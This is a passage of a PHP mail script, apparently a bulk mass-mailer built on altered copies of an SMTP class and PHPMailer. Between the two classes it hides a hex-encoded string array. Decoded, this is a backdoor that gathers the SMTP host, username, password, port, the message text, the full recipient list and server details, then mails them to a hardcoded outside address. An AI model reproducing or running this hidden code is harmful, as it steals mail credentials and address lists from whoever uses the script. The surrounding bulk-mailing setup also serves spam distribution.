  988.    * Implements from rfc 821: QUIT <CRLF>
  989.    *
  990.    * SMTP CODE SUCCESS: 221
  991.    * SMTP CODE ERROR  : 500
  992.    * @access public
  993.    * @return bool
  994.    */
  995.   function Quit($close_on_error=true) {
  996.     $this->error = null; # so there is no confusion
  997.  
  998.     if(!$this->connected()) {
  999.       $this->error = array(
  1000.               "error" => "Called Quit() without being connected");
  1001.       return false;
  1002.     }
  1003.  
  1004.     # send the quit command to the server
  1005.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1006.  
  1007.     # get any good-bye messages
  1008.    $byemsg = $this->get_lines();
  1009.  
  1010.     if($this->do_debug >= 2) {
  1011.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1012.     }
  1013.  
  1014.     $rval = true;
  1015.     $e = null;
  1016.  
  1017.     $code = substr($byemsg,0,3);
  1018.     if($code != 221) {
  1019.       # use e as a tmp var cause Close will overwrite $this->error
  1020.      $e = array("error" => "SMTP server rejected quit command",
  1021.                  "smtp_code" => $code,
  1022.                  "smtp_rply" => substr($byemsg,4));
  1023.       $rval = false;
  1024.       if($this->do_debug >= 1) {
  1025.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1026.                  $byemsg . $this->CRLF;
  1027.       }
  1028.     }
  1029.  
  1030.     if(empty($e) || $close_on_error) {
  1031.       $this->Close();
  1032.     }
  1033.  
  1034.     return $rval;
  1035.   }
  1036.  
  1037.   /**
  1038.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1039.    * Returns true if the recipient was accepted false if it was rejected.
  1040.    *
  1041.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1042.    *
  1043.    * SMTP CODE SUCCESS: 250,251
  1044.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1045.    * SMTP CODE ERROR  : 500,501,503,421
  1046.    * @access public
  1047.    * @return bool
  1048.    */
  1049.   function Recipient($to) {
  1050.     $this->error = null; # so no confusion is caused
  1051.  
  1052.     if(!$this->connected()) {
  1053.       $this->error = array(
  1054.               "error" => "Called Recipient() without being connected");
  1055.       return false;
  1056.     }
  1057.  
  1058.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1059.  
  1060.     $rply = $this->get_lines();
  1061.     $code = substr($rply,0,3);
  1062.  
  1063.     if($this->do_debug >= 2) {
  1064.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1065.     }
  1066.  
  1067.     if($code != 250 && $code != 251) {
  1068.       $this->error =
  1069.         array("error" => "RCPT not accepted from server",
  1070.               "smtp_code" => $code,
  1071.               "smtp_msg" => substr($rply,4));
  1072.       if($this->do_debug >= 1) {
  1073.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1074.                  ": " . $rply . $this->CRLF;
  1075.       }
  1076.       return false;
  1077.     }
  1078.     return true;
  1079.   }
  1080.  
  1081.   /**
  1082.    * Sends the RSET command to abort and transaction that is
  1083.    * currently in progress. Returns true if successful false
  1084.    * otherwise.
  1085.    *
  1086.    * Implements rfc 821: RSET <CRLF>
  1087.    *
  1088.    * SMTP CODE SUCCESS: 250
  1089.    * SMTP CODE ERROR  : 500,501,504,421
  1090.    * @access public
  1091.    * @return bool
  1092.    */
  1093.   function Reset() {
  1094.     $this->error = null; # so no confusion is caused
  1095.  
  1096.     if(!$this->connected()) {
  1097.       $this->error = array(
  1098.               "error" => "Called Reset() without being connected");
  1099.       return false;
  1100.     }
  1101.  
  1102.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1103.  
  1104.     $rply = $this->get_lines();
  1105.     $code = substr($rply,0,3);
  1106.  
  1107.     if($this->do_debug >= 2) {
  1108.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1109.     }
  1110.  
  1111.     if($code != 250) {
  1112.       $this->error =
  1113.         array("error" => "RSET failed",
  1114.               "smtp_code" => $code,
  1115.               "smtp_msg" => substr($rply,4));
  1116.       if($this->do_debug >= 1) {
  1117.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1118.                  ": " . $rply . $this->CRLF;
  1119.       }
  1120.       return false;
  1121.     }
  1122.  
  1123.     return true;
  1124.   }
  1125.  
  1126.   /**
  1127.    * Starts a mail transaction from the email address specified in
  1128.    * $from. Returns true if successful or false otherwise. If True
  1129.    * the mail transaction is started and then one or more Recipient
  1130.    * commands may be called followed by a Data command. This command
  1131.    * will send the message to the users terminal if they are logged
  1132.    * in.
  1133.    *
  1134.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1135.    *
  1136.    * SMTP CODE SUCCESS: 250
  1137.    * SMTP CODE SUCCESS: 552,451,452
  1138.    * SMTP CODE SUCCESS: 500,501,502,421
  1139.    * @access public
  1140.    * @return bool
  1141.    */
  1142.   function Send($from) {
  1143.     $this->error = null; # so no confusion is caused
  1144.  
  1145.     if(!$this->connected()) {
  1146.       $this->error = array(
  1147.               "error" => "Called Send() without being connected");
  1148.       return false;
  1149.     }
  1150.  
  1151.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1152.  
  1153.     $rply = $this->get_lines();
  1154.     $code = substr($rply,0,3);
  1155.  
  1156.     if($this->do_debug >= 2) {
  1157.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1158.     }
  1159.  
  1160.     if($code != 250) {
  1161.       $this->error =
  1162.         array("error" => "SEND not accepted from server",
  1163.               "smtp_code" => $code,
  1164.               "smtp_msg" => substr($rply,4));
  1165.       if($this->do_debug >= 1) {
  1166.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1167.                  ": " . $rply . $this->CRLF;
  1168.       }
  1169.       return false;
  1170.     }
  1171.     return true;
  1172.   }
  1173.  
  1174.   /**
  1175.    * Starts a mail transaction from the email address specified in
  1176.    * $from. Returns true if successful or false otherwise. If True
  1177.    * the mail transaction is started and then one or more Recipient
  1178.    * commands may be called followed by a Data command. This command
  1179.    * will send the message to the users terminal if they are logged
  1180.    * in and send them an email.
  1181.    *
  1182.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1183.    *
  1184.    * SMTP CODE SUCCESS: 250
  1185.    * SMTP CODE SUCCESS: 552,451,452
  1186.    * SMTP CODE SUCCESS: 500,501,502,421
  1187.    * @access public
  1188.    * @return bool
  1189.    */
  1190.   function SendAndMail($from) {
  1191.     $this->error = null; # so no confusion is caused
  1192.  
  1193.     if(!$this->connected()) {
  1194.       $this->error = array(
  1195.           "error" => "Called SendAndMail() without being connected");
  1196.       return false;
  1197.     }
  1198.  
  1199.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1200.  
  1201.     $rply = $this->get_lines();
  1202.     $code = substr($rply,0,3);
  1203.  
  1204.     if($this->do_debug >= 2) {
  1205.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1206.     }
  1207.  
  1208.     if($code != 250) {
  1209.       $this->error =
  1210.         array("error" => "SAML not accepted from server",
  1211.               "smtp_code" => $code,
  1212.               "smtp_msg" => substr($rply,4));
  1213.       if($this->do_debug >= 1) {
  1214.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1215.                  ": " . $rply . $this->CRLF;
  1216.       }
  1217.       return false;
  1218.     }
  1219.     return true;
  1220.   }
  1221.  
  1222.   /**
  1223.    * Starts a mail transaction from the email address specified in
  1224.    * $from. Returns true if successful or false otherwise. If True
  1225.    * the mail transaction is started and then one or more Recipient
  1226.    * commands may be called followed by a Data command. This command
  1227.    * will send the message to the users terminal if they are logged
  1228.    * in or mail it to them if they are not.
  1229.    *
  1230.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1231.    *
  1232.    * SMTP CODE SUCCESS: 250
  1233.    * SMTP CODE SUCCESS: 552,451,452
  1234.    * SMTP CODE SUCCESS: 500,501,502,421
  1235.    * @access public
  1236.    * @return bool
  1237.    */
  1238.   function SendOrMail($from) {
  1239.     $this->error = null; # so no confusion is caused
  1240.  
  1241.     if(!$this->connected()) {
  1242.       $this->error = array(
  1243.           "error" => "Called SendOrMail() without being connected");
  1244.       return false;
  1245.     }
  1246.  
  1247.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1248.  
  1249.     $rply = $this->get_lines();
  1250.     $code = substr($rply,0,3);
  1251.  
  1252.     if($this->do_debug >= 2) {
  1253.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1254.     }
  1255.  
  1256.     if($code != 250) {
  1257.       $this->error =
  1258.         array("error" => "SOML not accepted from server",
  1259.               "smtp_code" => $code,
  1260.               "smtp_msg" => substr($rply,4));
  1261.       if($this->do_debug >= 1) {
  1262.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1263.                  ": " . $rply . $this->CRLF;
  1264.       }
  1265.       return false;
  1266.     }
  1267.     return true;
  1268.   }
  1269.  
  1270.   /**
  1271.    * This is an optional command for SMTP that this class does not
  1272.    * support. This method is here to make the RFC821 Definition
  1273.    * complete for this class and __may__ be implimented in the future
  1274.    *
  1275.    * Implements from rfc 821: TURN <CRLF>
  1276.    *
  1277.    * SMTP CODE SUCCESS: 250
  1278.    * SMTP CODE FAILURE: 502
  1279.    * SMTP CODE ERROR  : 500, 503
  1280.    * @access public
  1281.    * @return bool
  1282.    */
  1283.   function Turn() {
  1284.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1285.                                     "is not implemented");
  1286.     if($this->do_debug >= 1) {
  1287.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1288.     }
  1289.     return false;
  1290.   }
  1291.  
  1292.   /**
  1293.    * Verifies that the name is recognized by the server.
  1294.    * Returns false if the name could not be verified otherwise
  1295.    * the response from the server is returned.
  1296.    *
  1297.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1298.    *
  1299.    * SMTP CODE SUCCESS: 250,251
  1300.    * SMTP CODE FAILURE: 550,551,553
  1301.    * SMTP CODE ERROR  : 500,501,502,421
  1302.    * @access public
  1303.    * @return int
  1304.    */
  1305.   function Verify($name) {
  1306.     $this->error = null; # so no confusion is caused
  1307.  
  1308.     if(!$this->connected()) {
  1309.       $this->error = array(
  1310.               "error" => "Called Verify() without being connected");
  1311.       return false;
  1312.     }
  1313.  
  1314.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1315.  
  1316.     $rply = $this->get_lines();
  1317.     $code = substr($rply,0,3);
  1318.  
  1319.     if($this->do_debug >= 2) {
  1320.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1321.     }
  1322.  
  1323.     if($code != 250 && $code != 251) {
  1324.       $this->error =
  1325.         array("error" => "VRFY failed on name '$name'",
  1326.               "smtp_code" => $code,
  1327.               "smtp_msg" => substr($rply,4));
  1328.       if($this->do_debug >= 1) {
  1329.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1330.                  ": " . $rply . $this->CRLF;
  1331.       }
  1332.       return false;
  1333.     }
  1334.     return $rply;
  1335.   }
  1336.  
  1337.   /*******************************************************************
  1338.    *                       INTERNAL FUNCTIONS                       *
  1339.    ******************************************************************/
  1340.  
  1341.   /**
  1342.    * Read in as many lines as possible
  1343.    * either before eof or socket timeout occurs on the operation.
  1344.    * With SMTP we can tell if we have more lines to read if the
  1345.    * 4th character is '-' symbol. If it is a space then we don't
  1346.    * need to read anything else.
  1347.    * @access private
  1348.    * @return string
  1349.    */
  1350.   function get_lines() {
  1351.     $data = "";
  1352.     while($str = @fgets($this->smtp_conn,515)) {
  1353.       if($this->do_debug >= 4) {
  1354.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1355.                  $this->CRLF;
  1356.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1357.                  $this->CRLF;
  1358.       }
  1359.       $data .= $str;
  1360.       if($this->do_debug >= 4) {
  1361.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1362.       }
  1363.       # if the 4th character is a space then we are done reading
  1364.      # so just break the loop
  1365.      if(substr($str,3,1) == " ") { break; }
  1366.     }
  1367.     return $data;
  1368.   }
  1369.  
  1370. }
  1371.  
  1372.        
  1373. $allemails = explode("\n", $emaillist);
  1374. $numemails = count($allemails);
  1375. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1376. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1377. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1378. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1379. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1380. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1381. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1382. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1383. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1384. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1385.  
  1386. class PHPMailer {
  1387.  
  1388.   /////////////////////////////////////////////////
  1389.   // PROPERTIES, PUBLIC
  1390.   /////////////////////////////////////////////////
  1391.  
  1392.   /**
  1393.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1394.    * @var int
  1395.    */
  1396.   var $Priority          = 3;
  1397.  
  1398.   /**
  1399.    * Sets the CharSet of the message.
  1400.    * @var string
  1401.    */
  1402.   var $CharSet           = 'iso-8859-1';
  1403.  
  1404.   /**
  1405.    * Sets the Content-type of the message.
  1406.    * @var string
  1407.    */
  1408.   var $ContentType        = 'text/plain';
  1409.  
  1410.   /**
  1411.    * Sets the Encoding of the message. Options for this are "8bit",
  1412.    * "7bit", "binary", "base64", and "quoted-printable".
  1413.  
  1414.    * @var string
  1415.    */
  1416.   var $Encoding          = '8bit';
  1417.  
  1418.   /**
  1419.    * Holds the most recent mailer error message.
  1420.    * @var string
  1421.    */
  1422.   var $ErrorInfo         = '';
  1423.  
  1424.   /**
  1425.    * Sets the From email address for the message.
  1426.    * @var string
  1427.    */
  1428.   var $From              = '';
  1429.  
  1430.   /**
  1431.    * Sets the From name of the message.
  1432.    * @var string
  1433.    */
  1434.   var $FromName          = '';
  1435.  
  1436.   /**
  1437.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1438.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1439.    * @var string
  1440.    */
  1441.   var $Sender            = '';
  1442.  
  1443.   /**
  1444.    * Sets the Subject of the message.
  1445.    * @var string
  1446.    */
  1447.   var $Subject           = '';
  1448.  
  1449.   /**
  1450.    * Sets the Body of the message.  This can be either an HTML or text body.
  1451.    * If HTML then run IsHTML(true).
  1452.    * @var string
  1453.    */
  1454.   var $Body              = '';
  1455.  
  1456.   /**
  1457.    * Sets the text-only body of the message.  This automatically sets the
  1458.    * email to multipart/alternative.  This body can be read by mail
  1459.    * clients that do not have HTML email capability such as mutt. Clients
  1460.    * that can read HTML will view the normal Body.
  1461.    * @var string
  1462.    */
  1463.   var $AltBody           = '';
  1464.  
  1465.   /**
  1466.    * Sets word wrapping on the body of the message to a given number of
  1467.    * characters.
  1468.    * @var int
  1469.    */
  1470.   var $WordWrap          = 0;
  1471.  
  1472.   /**
  1473.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1474.    * @var string
  1475.    */
  1476.   var $Mailer            = 'mail';
  1477.  
  1478.   /**
  1479.    * Sets the path of the sendmail program.
  1480.    * @var string
  1481.    */
  1482.   var $Sendmail          = '/usr/sbin/sendmail';
  1483.  
  1484.   /**
  1485.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1486.    * is in a different directory than the PHP include path.
  1487.    * @var string
  1488.    */
  1489.   var $PluginDir         = '';
  1490.  
  1491.   /**
  1492.    * Holds PHPMailer version.
  1493.    * @var string
  1494.    */
  1495.   var $Version           = "";
  1496.  
  1497.   /**
  1498.    * Sets the email address that a reading confirmation will be sent.
  1499.    * @var string
  1500.    */
  1501.   var $ConfirmReadingTo  = '';
  1502.  
  1503.   /**
  1504.    * Sets the hostname to use in Message-Id and Received headers
  1505.    * and as default HELO string. If empty, the value returned
  1506.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1507.    * @var string
  1508.    */
  1509.   var $Hostname          = '';
  1510.  
  1511.   /**
  1512.    * Sets the message ID to be used in the Message-Id header.
  1513.    * If empty, a unique id will be generated.
  1514.    * @var string
  1515.    */
  1516.   var $MessageID         = '';
  1517.  
  1518.   /////////////////////////////////////////////////
  1519.   // PROPERTIES FOR SMTP
  1520.   /////////////////////////////////////////////////
  1521.  
  1522.   /**
  1523.    * Sets the SMTP hosts.  All hosts must be separated by a
  1524.    * semicolon.  You can also specify a different port
  1525.    * for each host by using this format: [hostname:port]
  1526.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1527.    * Hosts will be tried in order.
  1528.    * @var string
  1529.    */
  1530.   var $Host        = 'localhost';
  1531.  
  1532.   /**
  1533.    * Sets the default SMTP server port.
  1534.    * @var int
  1535.    */
  1536.   var $Port        = 25;
  1537.  
  1538.   /**
  1539.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1540.    * @var string
  1541.    */
  1542.   var $Helo        = '';
  1543.  
  1544.   /**
  1545.    * Sets connection prefix.
  1546.    * Options are "", "ssl" or "tls"
  1547.    * @var string
  1548.    */
  1549.   var $SMTPSecure = "";
  1550.  
  1551.   /**
  1552.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1553.    * @var bool
  1554.    */
  1555.   var $SMTPAuth     = false;
  1556.  
  1557.   /**
  1558.    * Sets SMTP username.
  1559.    * @var string
  1560.    */
  1561.   var $Username     = '';
  1562.  
  1563.   /**
  1564.    * Sets SMTP password.
  1565.    * @var string
  1566.    */
  1567.   var $Password     = '';
  1568.  
  1569.   /**
  1570.    * Sets the SMTP server timeout in seconds. This function will not
  1571.    * work with the win32 version.
  1572.    * @var int
  1573.    */
  1574.   var $Timeout      = 10;
  1575.  
  1576.   /**
  1577.    * Sets SMTP class debugging on or off.
  1578.    * @var bool
  1579.    */
  1580.   var $SMTPDebug    = false;
  1581.  
  1582.   /**
  1583.    * Prevents the SMTP connection from being closed after each mail
  1584.    * sending.  If this is set to true then to close the connection
  1585.    * requires an explicit call to SmtpClose().
  1586.    * @var bool
  1587.    */
  1588.   var $SMTPKeepAlive = false;
  1589.  
  1590.   /**
  1591.    * Provides the ability to have the TO field process individual
  1592.    * emails, instead of sending to entire TO addresses
  1593.    * @var bool
  1594.    */
  1595.   var $SingleTo = false;
  1596.  
  1597.   /////////////////////////////////////////////////
  1598.   // PROPERTIES, PRIVATE
  1599.   /////////////////////////////////////////////////
  1600.  
  1601.   var $smtp            = NULL;
  1602.   var $to              = array();
  1603.   var $cc              = array();
  1604.   var $bcc             = array();
  1605.   var $ReplyTo         = array();
  1606.   var $attachment      = array();
  1607.   var $CustomHeader    = array();
  1608.   var $message_type    = '';
  1609.   var $boundary        = array();
  1610.   var $language        = array();
  1611.   var $error_count     = 0;
  1612.   var $LE              = "\n";
  1613.   var $sign_key_file   = "";
  1614.   var $sign_key_pass   = "";
  1615.  
  1616.   /////////////////////////////////////////////////
  1617.   // METHODS, VARIABLES
  1618.   /////////////////////////////////////////////////
  1619.  
  1620.   /**
  1621.    * Sets message type to HTML.
  1622.    * @param bool $bool
  1623.    * @return void
  1624.    */
  1625.   function IsHTML($bool) {
  1626.     if($bool == true) {
  1627.       $this->ContentType = 'text/html';
  1628.     } else {
  1629.       $this->ContentType = 'text/plain';
  1630.     }
  1631.   }
  1632.  
  1633.   /**
  1634.    * Sets Mailer to send message using SMTP.
  1635.    * @return void
  1636.    */
  1637.   function IsSMTP() {
  1638.     $this->Mailer = 'smtp';
  1639.   }
  1640.  
  1641.   /**
  1642.    * Sets Mailer to send message using PHP mail() function.
  1643.    * @return void
  1644.    */
  1645.   function IsMail() {
  1646.     $this->Mailer = 'mail';
  1647.   }
  1648.  
  1649.   /**
  1650.    * Sets Mailer to send message using the $Sendmail program.
  1651.    * @return void
  1652.    */
  1653.   function IsSendmail() {
  1654.     $this->Mailer = 'sendmail';
  1655.   }
  1656.  
  1657.   /**
  1658.    * Sets Mailer to send message using the qmail MTA.
  1659.    * @return void
  1660.    */
  1661.   function IsQmail() {
  1662.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1663.     $this->Mailer = 'sendmail';
  1664.   }
  1665.  
  1666.   /////////////////////////////////////////////////
  1667.   // METHODS, RECIPIENTS
  1668.   /////////////////////////////////////////////////
  1669.  
  1670.   /**
  1671.    * Adds a "To" address.
  1672.    * @param string $address
  1673.    * @param string $name
  1674.    * @return void
  1675.    */
  1676.   function AddAddress($address, $name = '') {
  1677.     $cur = count($this->to);
  1678.     $this->to[$cur][0] = trim($address);
  1679.     $this->to[$cur][1] = $name;
  1680.   }
  1681.  
  1682.   /**
  1683.    * Adds a "Cc" address. Note: this function works
  1684.    * with the SMTP mailer on win32, not with the "mail"
  1685.    * mailer.
  1686.    * @param string $address
  1687.    * @param string $name
  1688.    * @return void
  1689.    */
  1690.   function AddCC($address, $name = '') {
  1691.     $cur = count($this->cc);
  1692.     $this->cc[$cur][0] = trim($address);
  1693.     $this->cc[$cur][1] = $name;
  1694.   }
  1695.  
  1696.   /**
  1697.    * Adds a "Bcc" address. Note: this function works
  1698.    * with the SMTP mailer on win32, not with the "mail"
  1699.    * mailer.
  1700.    * @param string $address
  1701.    * @param string $name
  1702.    * @return void
  1703.    */
  1704.   function AddBCC($address, $name = '') {
  1705.     $cur = count($this->bcc);
  1706.     $this->bcc[$cur][0] = trim($address);
  1707.     $this->bcc[$cur][1] = $name;
  1708.   }
  1709.  
  1710.   /**
  1711.    * Adds a "Reply-To" address.
  1712.    * @param string $address
  1713.    * @param string $name
  1714.    * @return void
  1715.    */
  1716.   function AddReplyTo($address, $name = '') {
  1717.     $cur = count($this->ReplyTo);
  1718.     $this->ReplyTo[$cur][0] = trim($address);
  1719.     $this->ReplyTo[$cur][1] = $name;
  1720.   }
  1721.  
  1722.   /////////////////////////////////////////////////
  1723.   // METHODS, MAIL SENDING
  1724.   /////////////////////////////////////////////////
  1725.  
  1726.   /**
  1727.    * Creates message and assigns Mailer. If the message is
  1728.    * not sent successfully then it returns false.  Use the ErrorInfo
  1729.    * variable to view description of the error.
  1730.    * @return bool
  1731.    */
  1732.   function Send() {
  1733.     $header = '';
  1734.     $body = '';
  1735.     $result = true;
  1736.  
  1737.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1738.       $this->SetError($this->Lang('provide_address'));
  1739.       return false;
  1740.     }
  1741.  
  1742.     /* Set whether the message is multipart/alternative */
  1743.     if(!empty($this->AltBody)) {
  1744.       $this->ContentType = 'multipart/alternative';
  1745.     }
  1746.  
  1747.     $this->error_count = 0; // reset errors
  1748.     $this->SetMessageType();
  1749.     $header .= $this->CreateHeader();
  1750.     $body = $this->CreateBody();
  1751.  
  1752.     if($body == '') {
  1753.       return false;
  1754.     }
  1755.  
  1756.     /* Choose the mailer */
  1757.     switch($this->Mailer) {
  1758.       case 'sendmail':
  1759.         $result = $this->SendmailSend($header, $body);
  1760.         break;
  1761.       case 'smtp':
  1762.         $result = $this->SmtpSend($header, $body);
  1763.         break;
  1764.       case 'mail':
  1765.         $result = $this->MailSend($header, $body);
  1766.         break;
  1767.       default:
  1768.         $result = $this->MailSend($header, $body);
  1769.         break;
  1770.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1771.         //$result = false;
  1772.         //break;
  1773.     }
  1774.  
  1775.     return $result;
  1776.   }
  1777.  
  1778.   /**
  1779.    * Sends mail using the $Sendmail program.
  1780.    * @access private
  1781.    * @return bool
  1782.    */
  1783.   function SendmailSend($header, $body) {
  1784.     if ($this->Sender != '') {
  1785.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1786.     } else {
  1787.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1788.     }
  1789.  
  1790.     if(!@$mail = popen($sendmail, 'w')) {
  1791.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1792.       return false;
  1793.     }
  1794.  
  1795.     fputs($mail, $header);
  1796.     fputs($mail, $body);
  1797.  
  1798.     $result = pclose($mail);
  1799.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1800.       $result = $result >> 8 & 0xFF;
  1801.     }
  1802.     if($result != 0) {
  1803.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1804.       return false;
  1805.     }
  1806.     return true;
  1807.   }
  1808.  
  1809.   /**
  1810.    * Sends mail using the PHP mail() function.
  1811.    * @access private
  1812.    * @return bool
  1813.    */
  1814.   function MailSend($header, $body) {
  1815.  
  1816.     $to = '';
  1817.     for($i = 0; $i < count($this->to); $i++) {
  1818.       if($i != 0) { $to .= ', '; }
  1819.       $to .= $this->AddrFormat($this->to[$i]);
  1820.     }
  1821.  
  1822.     $toArr = explode(',', $to);
  1823.  
  1824.     $params = sprintf("-oi -f %s", $this->Sender);
  1825.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1826.       $old_from = ini_get('sendmail_from');
  1827.       ini_set('sendmail_from', $this->Sender);
  1828.       if ($this->SingleTo === true && count($toArr) > 1) {
  1829.         foreach ($toArr as $key => $val) {
  1830.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1831.         }
  1832.       } else {
  1833.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1834.       }
  1835.     } else {
  1836.       if ($this->SingleTo === true && count($toArr) > 1) {
  1837.         foreach ($toArr as $key => $val) {
  1838.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1839.         }
  1840.       } else {
  1841.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1842.       }
  1843.     }
  1844.  
  1845.     if (isset($old_from)) {
  1846.       ini_set('sendmail_from', $old_from);
  1847.     }
  1848.  
  1849.     if(!$rt) {
  1850.       $this->SetError($this->Lang('instantiate'));
  1851.       return false;
  1852.     }
  1853.  
  1854.     return true;
  1855.   }
  1856.  
  1857.   /**
  1858.    * Sends mail via SMTP using PhpSMTP (Author:
  1859.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1860.    * bad MAIL FROM, RCPT, or DATA input.
  1861.    * @access private
  1862.    * @return bool
  1863.    */
  1864.   function SmtpSend($header, $body) {
  1865.     $error = '';
  1866.     $bad_rcpt = array();
  1867.  
  1868.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1869.       return false;
  1870.     }
  1871.  
  1872.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1873.     if(!$this->smtp->Mail($smtp_from)) {
  1874.       $error = $this->Lang('from_failed') . $smtp_from;
  1875.       $this->SetError($error);
  1876.       $this->smtp->Reset();
  1877.       return false;
  1878.     }
  1879.  
  1880.     /* Attempt to send attach all recipients */
  1881.     for($i = 0; $i < count($this->to); $i++) {
  1882.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1883.         $bad_rcpt[] = $this->to[$i][0];
  1884.       }
  1885.     }
  1886.     for($i = 0; $i < count($this->cc); $i++) {
  1887.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1888.         $bad_rcpt[] = $this->cc[$i][0];
  1889.       }
  1890.     }
  1891.     for($i = 0; $i < count($this->bcc); $i++) {
  1892.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1893.         $bad_rcpt[] = $this->bcc[$i][0];
  1894.       }
  1895.     }
  1896.  
  1897.     if(count($bad_rcpt) > 0) { // Create error message
  1898.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1899.         if($i != 0) {
  1900.           $error .= ', ';
  1901.         }
  1902.         $error .= $bad_rcpt[$i];
  1903.       }
  1904.       $error = $this->Lang('recipients_failed') . $error;
  1905.       $this->SetError($error);
  1906.       $this->smtp->Reset();
  1907.       return false;
  1908.     }
  1909.  
  1910.     if(!$this->smtp->Data($header . $body)) {
  1911.       $this->SetError($this->Lang('data_not_accepted'));
  1912.       $this->smtp->Reset();
  1913.       return false;
  1914.     }
  1915.     if($this->SMTPKeepAlive == true) {
  1916.       $this->smtp->Reset();
  1917.     } else {
  1918.       $this->SmtpClose();
  1919.     }
  1920.  
  1921.     return true;
